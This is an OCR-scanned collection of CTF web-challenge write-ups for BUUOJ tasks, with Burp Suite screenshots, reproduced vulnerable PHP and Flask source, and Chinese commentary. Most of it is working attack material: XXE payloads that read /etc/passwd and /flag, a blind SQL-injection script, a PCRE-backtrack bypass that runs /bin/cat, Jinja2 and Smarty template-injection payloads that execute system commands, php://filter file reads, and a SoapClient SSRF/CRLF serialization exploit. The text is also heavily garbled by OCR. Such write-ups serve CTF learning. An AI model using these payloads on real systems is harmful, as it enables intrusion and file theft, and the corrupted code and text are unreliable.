Burp Intruder Repeater Window Help

E’| Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn — O X

[ Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Project options I User options TAIer‘Ls ]

Go Cancel < |v > |

Request

Raw ParamsIHeaders Hex XML]

Target: http://e89abdc8-d9b1-456¢-8175-4d610ef044c6.node3.buuoj.cn | & || 7

Response

Raw | Headers | Hex | XML

POST /doLogin.php HTTPE/ 1.1

Host: e889abdeE-d9b1-456c-28175-4dé1l0ef044cf . nodes . buuc].cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; =64; rv:75.0)
Gecko/Z0100101 Firefox/75.0

Accept: application/xml, text/xml, */*; g=0.01
Locept-Language:

zh-CHM, gh;q=0.8, sh-TW; q=0.7, csh-HE; q=0.5,en-U3; q=0.3,en; ¢=0.2
Content-Type: application/xml;charset=utf-g
¥-Pequested-With: XMLHttpRequest

Content-Length: 191

Origin:
http://e8%abde8-dSb1-456c—-8175-4cd610e£044cE . node3 . buucj.cn
Connection: close

Referer:
http://e8%abdc8-dSb1-456c-8175-4d610=£044cE . noded . buuoj.cn/

>

<?¥ml wersion="1.0" encoding="utf-8"7>

< !DOCTYPE xxe [

<!ELEMENT names ANY >

< !ENTITY uxe SYSTEM "file:///etc/passwd" >]=>
<user><username>&xxe;<fusername><password>admin<fpassword><fuserﬂ

=
v

a[Ey

0 matches

<]

HTTP/1.1 Z00 OK

Server: openresty

Date: Thu, LE Apr Z0OZ0 11:13:04 GHT
Content-Type: text/html; charset=utf-8
Content-Length: 98

Connection: close

Vary: Accept-Encoding

¥-Powered-Ey: PHF/7.4.0RCE

L

<results<codes>0</code><msg>root:x:0:0:root: froot: fbin/bash
daemon:x:1:1:daemon: fusr/fshin: fusr/sbin/nologin
bin:x:2:2:bin: fbin: fusr/sbhin/nologin

sys: :3:sys: fdev: fusrfsbhin/nologin
sync:x:4:65534: sync: /bin: /bin/sync

games :¥X: 5:60:games: fusr/games: fusr/sbin/nologin
man:x:6:12:man: fvarfcache /man: fusr/shin/nologin
1p:x:7:7:1p: fvarfspoolflpd: fusr/sbinfnologin
mail:x:8:8:mail: /var/mail: fusr/sbhin/nologin
news:x:9:9:news: fvar/spool/news: fusr/shin/nologin
uucp:x:10:10:uucp: fvarfspoolfuucp: fusr/sbin/nologin
proxy:x:13:13:proxy: /bin: fusr/shin/nologin
www-data:x:33:33 :www-data: fvar/www: fusr/shin/nologin
backup:x:34:34:backup: fvar /backups: fusr/sbhin/nologin
list:x:38:38:Mailing List

Manager: fvarflist: fusr/sbhin/nologin
irc:x:39:39:ircd: /var/runfircd: fusr/shin/nologin
gnats:x:41:41:6nats Bug-Reporting System

(admin) : fvarflib/gnats: fusr/sbhinfnoelogin
nobody:x:65534: 65534 :nobody : fnonexistent: fusr/sbin/nologin
_apt:x:100:65534: : /nonexistent: /usr/shin/nologin
</mag></result>

=
¥

0 matches

1,174 byles | 54 millis

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///flag" >]>

<user><username>&xxe;</username><password>admin</password></user>



Burp Intruder Repeater Window Help

E’| Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn — O X

[ Target I Proxy I Spider I Scanner I Intruder IRepeater T Sequencer I Decoder I Comparer I Extender ]' Project options I User options ]'Alerts ]

Go Cancel < |v > |

Request

Raw ParamsIHeaders Hex XML]

Target: http://e89abdc8-d9b1-456¢-8175-4d610ef044c6.node3.buuoj.cn | & || 7

Response

Raw | Headers | Hex | XML

Dane

POST /doLogin.php HTTPE/ 1.1 "
Host: e889abdeE-d9b1-456c-28175-4dé1l0ef044cf . nodes . buuc].cn P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =64; rv:75.0)
Gecko/Z0100101 Firefox/75.0
Accept: application/xml, text/xml, */*; g=0.01
Locept-Language:
zh-CHM, gh;q=0.8, sh-TW; q=0.7, csh-HE; q=0.5,en-U3; q=0.3,en; ¢=0.2
Content-Type: application/xml;charset=utf-g
¥-Pequested-With: XMLHttpRequest
Content-Length: 1B5S
Origin:
http://e8%abde8-dSb1-456c—-8175-4cd610e£044cE . node3 . buucj.cn
Connection: close
Referer:
http://e8%abdc8-dSb1-456c-8175-4d610=£044cE . noded . buuoj.cn/
<?¥ml wersion="1.0" encoding="utf-8"7>
< !DOCTYPE xxe [
<!ELEMENT names ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<userr<usSername>&xixe; </ username><passwordradmin</password></user>
-
v
? < + = 0 matches

HTTP/1.1 Z00 OK

Server: openresty

Date: Thu, LE Apr Z0Z0 11:15:29 GHT
Content-Type: text/html; charset=utf-8
Content-Length: B85

Connection: close

Vary: Accept-Encoding

¥-Powered-Ey: PHF/7.4.0RCE

L

<result><code>0</code><msg>flag{del3c685-6a02-47c3-938£-£5
4c094ed68a}
</msg=</result>

=
v

0 matches

250 bytes | 39 millis

[NCTF2019]True XML cookbook

XXEi HULARPZR

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!IENTITY xxe SYSTEM "file:///proc/net/arp" >]>

<user><username>&xxe;</username><password>admin</password></user>

AWM

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<IENTITY xxe SYSTEM "http://173.20.6.10" >]>

<user><username>&xxe;</username><password>admin</password></user>




Attack Save Columns

E  intruder attack 1 —

j Results T Target I Positions T Payloads I Options ]

Filter: Showing all items ?
Request | Payload |Status | Emor | Timeout | Length 4| Comment
11 10 200 ] ] 289 A
0 200 O O 1235
2 1 200 O O 1235
3 2 200 O O 1235
4 3 200 O O 1235
9 8 200 O O 1235
13 12 200 O O 1235
14 13 200 O O 1235
14 14 200 O O 1235
17 16 200 O [ 1235 E
Request | Response 1
_[RawI Headers I Hex IXML ]
HTTF/1l.1 200 OK 'y
Server: openresty P
Date: Thu, 1l& Apr Z0Z0 11:ZZ2:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 54
Connection: close
Vary: Accept-Encoding
¥-Powered-By: PHPF/7.4.0RCE
<resultr<code>0</coder<msg>Elag{0baZh949-9fce-4e9b-8c88-elae33af2e6f} </ magr</result>
e
v
? < + > | |Type a search ferm 0 matches
70 of 266 | | e e

[RoarCTF 2019]0nline Proxy

XFFHEA




import requests
import time

url = "http://node3.buuoj.cn:25884/"
head = {
"GET" : "/ HTTP/1.1",
"Cookie" : "track_uuid=602832fa-679e-449d-f31d-92f@5fefa7a6",

"X-Forwarded-For"
}
result =
urls ="0' or ascii(substr((select F419_CO1luMn from F419 D4t4B45e.F419 tdble limit 1,1),{e},1))>{1} or '@"
for i in range(1,100):

1=1

r = 127

mid = (1+r)>>1

while(1l<r):

head[ "X-Forwarded-For"] = urls.format(i,mid)

html_© = requests.post(url,headers = head)
time.sleep(2)
head[ "X-Forwarded-For"] = urls.format(i, mid+1)
html_© = requests.post(url, headers=head)
html_© = requests.post(url, headers=head)
if "Last Ip: 1" in html_@.text:
1= mid+1
else:
r=mid
mid = (1+r)>>1
if(chr(mid)==" "):
break
result+=chr(mid)
print(result)
print("table_name:"+result)



<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (lis_string($json)) {
echo 'Hacking attempt detected<br/><br/>"';

} elseif (preg_match('/~.*(alias|bg|bind|break|builtin]|case|cd|command|compgen|complete]|continue|declare|dirs|
disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let]|local|logout|popd]|prin
tf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask]|unali
as|unset|until|wait|while|[\x@0-\x1FA-Z0-9!#-\/;-@\[- |~\x7F]+).*$/"', $json)) {

echo 'Hacking attempt detected<br/><br/>"';
} else {

echo 'Attempting to run command:<br/>';

$cmd = json_decode($json, true)['cmd'];

if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
jsontg Ky &
{"cmd":"1s"}

preg_matchlLAd
preg_matchiR# R XVLECE —1T, W LLA %oA #4T
VERY AT LB Elputenv ( ‘PATH=/home/rceservice/jail’ ) ELBX T HELE, RINRAGEHALENBEKAHRLEHL

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

pcrelsE] # BB 1] 5813
2% p 4 PHPF F PCRE [B] ) 1 £ R 1) 58 ik B 4 22 4 PR )
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)

print(res.text)

[GYCTF2020]FlaskApp


https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

@app.route('/decode’ ,methods=['POST', 'GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "R : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

TEbase6d MR {{1-1}} , BBIWELEZEEEH IO, FiEssti
BEEG

{% for c in [].__class__. base__._subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init__._global
s__['__builtins__"].open('app.py','r').read() }}{% endif %}{% endfor %}

KIflagfost ity
FREPEERAZR

{{''._class__._ bases_ [0].__subclasses_ ()[75].__init__._ globals_ ['_builtins__ "]['_imp'+'ort__ ']J('0o'+'s").
listdir('/"')}}

FREY) AR this_is_the_flag.txt

{% for c in [].__class__. base__._subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init__._global
s__['_builtins__"].open('txt.galf_eht_si_siht/'[::-1],'r"').read() }}{% endif %}{% endfor %}

[BIDCTF 2nd]3C {43
phpy P L BB AR

home.php?file=php://filter/read=convert.base64-encode/resource=home



home. php
<?php

setcookie("ylng", shal(md5('ylng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER[ 'REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\*|\~|&|\|/", $_GET['file'])) {
die("forbidden");

if(preg_match("/.?f.?1.?a.?g.?/i", $_GET['file'])){
die("not now!");

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");

if(preg_match("/~home$/i", $_GET['file'])){
die("¢| & ¢a¥-a f");

}
else{
if(preg_match("/home$/i", $ GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
elseq{
$file = $_GET['file'].".fxxkyou!";
}
echo "¢Z°8r"e®:6-9¢3, 2" ".$file . "<br>";
require $file;
¥
} else {
echo "<script>location.href="./home.php?file=system'</script>";
¥
L H system. php
<?php

error_reporting(0);

if (lisset($_COOKIE['ylng']) || $_COOKIE['ylng'] !== shal(md5('ylng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");

die;
}
$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$% ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1l/DTD/xhtmll-transitio
nal.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

43T ANFITA Nadkacdans /34T AN



SLlLlE’rile veLecLursy/suieie,

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<1i>
<span><label for="ql">d% ¢Y¥é “¢>®a%ed <éflkxmekian€il a-13»94 —?</label></span>
<input id="q1" name="ql" type="text"/>
</1i>
<1i>
<span><label for="g2">e” -e%“a
¥3a) af3af€apce-tar9at
&4®160:3821¢3,url</label></span>
<input id="g2" name="qg2" type="text"/>
</1i>
<1li>
<span><label for="ql">d% &, Gxe>a»¥dlkec§ ®-18% &®;E6—Ci4YGETi/4YPOST?</label></span>
<input id="qg3" name="qg3" type="text"/>
</1i>
</ol>
<button class="submit" type="submit" value="submit">a ad°x</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@é¢-3¥fL " 'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">

var theForm = document.getElementById( 'theForm' );

new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check’;
classie.addClass( messageEl, 'show' );



})s

</script>

</body>
</html>
<?php

$filterl
$filter2

'/~http:\/\/127\.@\.0\.1\//i";
'/.2f.21.%a.0g.2/i";

if (isset($_POST['ql']) && isset($_POST['g2']) && isset($_POST['q3']) ) {
$url = $_POST['g2"'].".ylng.txt";
$method = $_POST['q3'];

$strl = "~$ python fuck.py -u \"".$url ."\" -M $method -U ylng -P adminl23123 --neglect-negative --debug --h
int=xiangdemei<br>";

echo $stri;

if (!preg_match($filterl, $url) ){
die($str2);

}
if (preg_match($filter2, $url)) {
die($str3);

}
if (!preg_match('/~GET/i', $method) && !preg match('/~POST/i', $method)) {
die($stra);

}
$detect = @file_get_contents($url, false);

print(sprintf("$url method&content_size:$method%d", $detect));

?>
FEBER it gdetect LFRFHRE ARG, FHFERadmin. phpi 77k

%1%$s

%1$s K E— NS A string BB H

print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$seDiFRFEEAHH$detect, MrdHiHO
%s% , sprintf () R Hh%nT DL U3 %

print(sprintf("$url method&content _size:"GET%s%%d", $detect)); // %dBTHI%HEEE L, Hik%k

payload

POST:ql1=18&q2=http://127.0.0.1/admin.php#&q3=GET%1$s

B %]admin. php IR



<?php

error_reporting(0);

session_start();

$flag = 'flag{slmpl3_SSRF_@nd_sprintf}'; //fake

function aesEn($data, $key)

{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER[ 'REMOTE_ADDR']) && $_
COOKIE[ 'ylng'] === shal(md5('ylng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE_ );
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='1@0px' color=white><br
>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $ SERVER[ 'REMOTE_ADDR'];
}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) { //REf&AdecryptSHgi L4 BBENE
$decr = $_GET[ 'decrypt'];
if (Check()){
$data = $_SESSION[ 'secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'ying'); //HEER! XEMMERHNERZMNSESSIONFEN, A MBAEXE
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('J@');
¥
} else{
header ("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999)); //XEMFFREMIT, TEEK
$length = mt_rand(40,890);
$_SESSION[ 'secret'] = bin2hex(random_bytes($length));

?>

ik cookie, ¥ cookieH HISESSIONIDEEIK ARSI i fIsession 3, MBfI$_SESSION[ ‘var’ I ANULL, fEZNULL.



Pl RERATEY W admin. phphf, MiExsessionViiEl, FRAGEELARRK:

$cipher = aesen(NULL, 'ylng');

s ik

function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.201" ,true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

}

echo aestn('', 'ying')
//NjsmGkorj5yvvA4wllR3FA==

admin.php?decrypt=NjsmGkorj5yvvA4wl1R3FA%3d%3d

[BSidesCF 2020]Had a bad day

<?php
$file = $_GET['category'];

if(isset($file))

{

if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))

{
include ($file . '.php');

}

else

{
echo "Sorry, we currently only support woofers and meowers.";

}

?>

php://filterfh Ph il R &
payload

category=php://filter/read=convert.base64-encode/woofers/resource=flag

[RoarCTF 2019]Simple Upload
Think PHP upload()% X L4

think PHPEjupload() RBEMESHIER TRME EMAER, XEATEBAGFHHE RSB —K, BRKXERS, 2K
ARE R G SO R AR I, 2T A A BAEBIRL. txt, AT IR phpSUHERIE S, BNIX BG4 a4 07 0z A
Tuniqidif $UE R T HRD B = BT R E SO 2 B, AR AR AR B S B E AR S RIZ

A4 R

S bAE—ANIEE XM E EA— DRSS, RER EAA—NIEEXMF, RERESE —ME=AEWXHOXHEZENER, B
T BAT ] AR AR B S A

[CISCN2019 #Jb3E X Dayl Web5]CyberPunk
phpth B L ik B IR 15



index.php

<?php

ini_set('open_basedir', '/var/www/html/"');
// $file = $_GET["file"];

$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){

if (preg_match("/phar|zip|bzip2|zlib|data|input|%e@/i",$file)) {

echo('no way!'");
exit;

}

@include($file);

?>

search.php

<?php

require_once "config.php";

if(lempty($_POST["user_name"]) && !empty($_POST["phone"]))

{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join]|
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];

like|regexp|where|union|into|load_file|outfile/i';

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!’;
}else{

$sql = "select * from “user’ where “user_name ='{$user_name}' and “phone ='{$phone}'";

$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!'$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg

"<p>PELZ " . $row[ 'user_name']."</p><p>, HLiF

} else {
$msg

"RIRBHT L
)

}else {
$tmsg = "EREARE";

change.php

:".$row[ 'phone']."</p><p>, Hudk:".$row[ 'address']."</p>



<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!’;
}else{
$sql = "select * from “user’ where “user_name’='{$user_name}' and phone ='{$phone}'";

$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update “user’ set “address ='".$address."', “old_address ='".$row['address']."' where “user_id' =
".$row[ 'user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);

exit;
}
$msg = “ITEBBURIN";
} else {
$msg = "RIRBNITHI";
}
}else {

$msg = "BEEAE";

confirm.php



<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = "'
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!’;
}else{
$sql = "select * from “user’ where “user_name’='{$user_name}' and “phone ='{$phone}'";

$fetch = $db->query($sql);

if($fetch->num_rows>0) {
$msg = $user_name."EIRITH";
}else{
$sql = "insert into “user® ( “user_name’, “address’, “phone’) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = “iTERIEIN";
¥
} else {
$tmsg = "EEARLE";

change.php

n T "

$sql = "update “user® set “address ='".$address."', “old_address ='".$row['address']."' where “user_id =".$row[’

user_id'];

FEMBEBE R ERS, IHHbHAE T TR, ERCIRIEA
payload

1' where user_id=updatexml(1,concat(@x7e, (select substr(load_file('/flag.txt'),1,25)),0x7e),1)#

1' where user_id=updatexml(1,concat(@x7e, (select substr(load_file('/flag.txt'),26,50)),0x7e),1)#

[CISCN2019 #7RF§$E X JWebll
SmartyBE Rk SSTI

SmartyBJ{if}ZHEAIBRPHPEILF EFARBL, REWINT —iebett. 2EHPHP &R E M R BE o AELF N AEF,
w||,or,&&,and,is_array()



x-forwarded-for:{if phpinfo()}{/if}

Burp Intruder Repeater Window Help

E | Burp suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

- a

X

[Target [ Proxy [ Spider T Scanner T Intruder IRepeater T Sequencer T Decoder T Comparer T Extender T Project options I User options [Alerts 1

112 =« | ..

Go Cancel < (T > |

Request

_[ RawT Params I Headers T Hex }

Target: http:/inode3.buuocj.cn:26148 lﬂ QJ

Response

[ Raw T Headers T Hex T HTML TRendeJ 1

GET / HTTP/Ll.1l

Host: nodel.buuoc].cn:Zg148

User—-Agent: Mozilla/5.0 (Windows NT L0.0; Wined; =64;
rv:75.0) Gecko/2Z0100101 Firefox/75.0

Locept:

text/html, application/xhtml+xml, application/xml;q=0.9, im
age/webp, */ ¥ q=0.8

Locept-Language:

zh-CH, zh;=0.8, eh-TW;q=0.7, eh-HE;=0.5,en-U3;q=0.3,en;q
=0.2

Connection: close

Cookie: pma lang=zh CHN;

pwa_collation connection=utf8_unicodes_ci;
pwa_iv-1=TpQ0aRMlejXpCOhfwfO0Tuws3D%3D;
pralser-1=sGopNbbh% 2 FFiGDagoGniPCASASIDE 3D,
track_uuid=£0283IZfa-£79=-4459d-£31d-92f05fefaTab
Upgrade-Insecure-Requests: 1

x—forwarded-for:{if phpinfo()}{/if}|

e

-
v

EJ lZJ u m Type a search term 0 matches

IR...

D

PHP Version 7.3.5

System

Linw 48c4bh1 7033 4.15.0-4

Build Date

May 11 2019 03:16:59

Configure Command

*feonfigure' --build=x86_54-lif
with-config-file-scan-dir=iu
'—-enakle-mbstring’ --enakle-n
—-with-openssl --with-zlik' -
"build_alias=x86_54-linux-mus

Server APl FPMiFastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusrilocalietc/php
Loaded Configuration File (none)

S J

91,126 bytes

| 00wyl
[1891

payload

{if system("cat /flag")}{/if}

bestphp’s revenge

<?php
highlight_file(_ FILE_ );
$b = 'implode’;
call user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$ SESSION[ 'name'] = $_GET[ 'name'];
}
var_dump($_SESSION);

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

call user func($b, %$a);
?>

sessionx J¥ %4k - >soap(ssrf+crlf)->call_user_func¥ifsoapd



SoapClientfill & X754 F & ssrf
serialize_handerftsessionF RA Y FHsessioniEA

CRLFIRA

it )R FF 548 F SoapClientd] flag. phpRiXiE R, AT LLELHssrf
B AR YL ) A

o TEWRA R FFILL
o nfAE R P HIALE AR

X BB call_user_func() REIMPENRSEER array RRHE, KB RR BB MTTE, BlnAB T L%
F extract() ¥bEE MK call_user func() , reset($_SESSION) FifE $ SESSION['name'], AW LAFE N name=SoapClient ,
4 B)5 call_user_func($b, $a) BiZEAK call user_func(array('SoapClient', 'welcome_to_the 1lctf2018')) ,

Bl call user func(SoapClient->welcome to_the 1ctf2018) , HiF SoapClient KA welcome to_the lctf2018 XAJT
%, B WABARSE _ call() Ml KiEFR

payload

<?php

$target = "http://127.0.0.1/flag.php";

$attack = new SoapClient(null,array('location’' => $target,
'user_agent' => "N@rth3ty\r\nCookie: PHPSESSID=991m9bf41lue8k3bctirr5mm8m4\r\n",
‘uri' => "123"));

$payload = urlencode(serialize($attack));

echo $payload;
//0%3A10%3A%22S0apClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%221ocation%22%3Bs%3A25%3A%
22http%3A%2F%2F127.0.0.1%2Fflag. php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs
%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID?%3D991m9bf41ue8k3bctirrSmm8ma%0D%0A%22%3Bs%3A13%3A%22_soap_version%2
2%3Bi%3A1%3B%7D

SFerEANpoctEE|fisession



E | Burp suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - a *
Burp Intruder Repeater Window Help
[Target [ Proxy [ Spider T Scanner T Intruder IRepeater T Sequencer T Decoder T Comparer T Extender T Project options I User options [Alerts 1
1 =] ..
Go Cancel < | > | Target: http://d85f98d2-d656-4868-a71d-5f3699a4ebb4.node3.buuoj.cn | # || 7
Request Response
_[ RawT Params I Headers T Hex } _[ Raw T Headers T Hex 1
POST " HOOOOEE"=Saknbsp ;</span><span style="color: "
f?f=session_start&name=|03:3)1103:3)1%22Soapclient.%::%SAS%SA%'?Bs%SES P HOO7700"=>=&nbsp ;array(</span><span &
53A%CZ2UrisI2%3Bs%3A3%3A%22 123%22%3B3%3AB%3A% 2 locations22%3B3%34 style="color: HOOOOEE":>reset</spanr<span
ZE%3ASIIhCLpSIASIFSIFLZT.0.0.1%2Fflay. phps22%3E3%3A15%3A%22_stre style="color: HO007700":(</span><span
am_context3I2%3B1%3A0%3BS%3A11%3A%22 user agent%IZ%3BS%3A5E%34%2 style="color: #DDDDBB">$_SESSII:IN<;’span}<span
CHOrth3tys0D%0ACookies3 A+PHPSESSIDS3D99 lmSb£4 lueBkibot iry StmmSmd % style="color: HOO7700">) ,&nbsp;</span><span
OD%0A%ZZI%3BEs%3A13%34%22 soap version%IIZ%3Bi%3A41%3B%7D HTTP/ 1.1 style="color:
Host: dES£98dI-dE56-4868-a71d-5£369%ad4ebb4 . node3 .buucj.cn H#DDOOOO"> 'welcome_to_the lctf2018' </=span><span
User-Agent: Mozilla/5.0 (Windows NT L0.0; Winéd4; =€4; rv:75.0) style="color: HOOT700"=);<br /></spanr<span
Gecko,/20100101 Firefox/75.0 style="color:
Locept: #DDDDBB"}caJ_'L_user_fu.nc{x"span><span
text/html, application/xhtml4xml, application/xml;gq=0.9, imags/webp style="color: #007700">(</spanr<span
LS Trg=0.8 style="color: H#O0000BE":=S§b</span><span
Lecept-Language: style="color: HOO7700"> &nhsp:</span><span
zh-CH, zh;q=0.8, zh-TW; g=0.7, zh-HE; q=0.5,en-US;q=0.3,en; q=0.2 style="color: HOOODOEB">$a</span><span
Connection: close style="color: HOOTT700">) :;<br /»</span><span
Cookie: PHPSEISID=991lmSb£4 lu=sSk3ibct irr SmnSm4 style="color: HOOOODBE">?&gt;</span>
Upgrade-Insecure-Requests: 1 </span>
Content-Type: application/x-www—form—urlencoded </coderarray(1) {
Content-Length: 31 ["name"]=2> I
string(226)
serialize_handler=php serialize "J0:10:"SeoapClient" :5:{s:3:"uri" ;5:3:"123" ;s5:8:
"location" ;s:25:"http: ff127.0.0.1/flag.php" ;s:
15: "_st,ream_context "sib:s:11: “_user_aqent,“ I8
56:"MO0rth3ty
Cookie: PHPSESSID=991m%bf4lueik3bctirrimmimd
";s:13:"_ soap version";i:1;}"
}
-
L4 >
? < + = Type a search term 0 matches ? < + = Type a search ferm 0 matches
Done 2,787 bytes | 47 millis
N . Ny v
ik R FFIAL#SoapClient RikiE R
1 J2m -]
| Go Cancel {< Y| >|v Target: 5-4371-bb36-3b117 .node1.buuoj.cn /@
Request Response
Raw | Params | Headers @ Raw | Headers | Hex | Render
POST /?f=extract&name=SoapClient HTTP/1.1 Rl .,
Host: 2aa8d319-0f90-43af-b598-b7c0c41476f9.node1 buuoj.cn <?php.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 highlight_file(_ FILE_);
Accept: text/html, appli I applicati 4=0.9,"":q=0.8 $b = 'implode'; . .
Accept-Language: zh-CN,zh;=0.8,2h-TW;q=0.7,2h-HK;q=0.5,en-US;q=0.3,en;q=0.2 callfuserifunc ($_GET['f'], $_POST);
Accept-Encoding: gzip, deflate ;easlon ért (O
Cookie: PHPSESSID=v37ht1lwegr7ne8bhaugopbs5 if t($_GET['name'])) {
Connection: close $_SESSION['name'] = $_GET['name'];

Upgrade-Insecure-Requests: 1 }
Content-Type: application/x-www-form-urlencoded
Content-Length: 16 Sa

b=call_user_func

#HrpocH Kcookieli A B AT 5 B flag

var_dump ($_SESSION) ;

array (reset ($_SESSION),
